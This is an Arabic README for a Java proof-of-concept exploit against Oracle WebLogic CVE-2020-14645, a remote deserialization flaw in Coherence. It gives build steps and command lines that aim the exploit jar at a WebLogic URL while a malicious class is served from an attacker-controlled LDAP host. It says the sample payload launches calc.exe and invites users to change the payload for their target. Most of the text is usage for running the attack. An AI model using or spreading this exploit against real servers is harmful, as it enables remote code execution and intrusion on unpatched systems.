
إثبات مفهوم Java لـ WebLogic CVE-2020-14645 استغلال إلغاء تسلسل Coherence عن بُعد. يستضيف فئة خبيثة عبر LDAP ويُفعّل تنفيذ التعليمات البرمجية عن بُعد على خوادم WebLogic المعرّضة للخطر.
Maven 3
JDK 1.8
mvn package
خطوات الاختبار المحددة:
نظرًا لأن هذه الثغرة مشابهة لثغرة Apache Dubbo، يُرجى الرجوع إلى تلك الثغرة لتنفيذ الخطوات 1-4.
java -jar target/CVE-2020-14645.jar LDAP_IP:LDAP_PORT/#CLASS_NAME WEBLOGIC_URL
# مثال
java -jar target/CVE-2020-14645.jar 1.1.1.1:8080/#exp http://127.0.0.1:7001
java -jar target/CVE-2020-14645.jar 1.1.1.1:8080/#exp https://127.0.0.1:7002
إذا تم استخدام POC المقدم في هذا المثال، فسيتم تنفيذ calc.exe على الهدف الاختباري بعد نجاح الاستغلال. يُرجى تعديل POC بنفسك وفقًا لبيئة الهدف الاختباري.
يستند هذا المشروع ويقتبس جزءًا من كود المشروعين @Y4er و@5up3rc، مع خالص الشكر!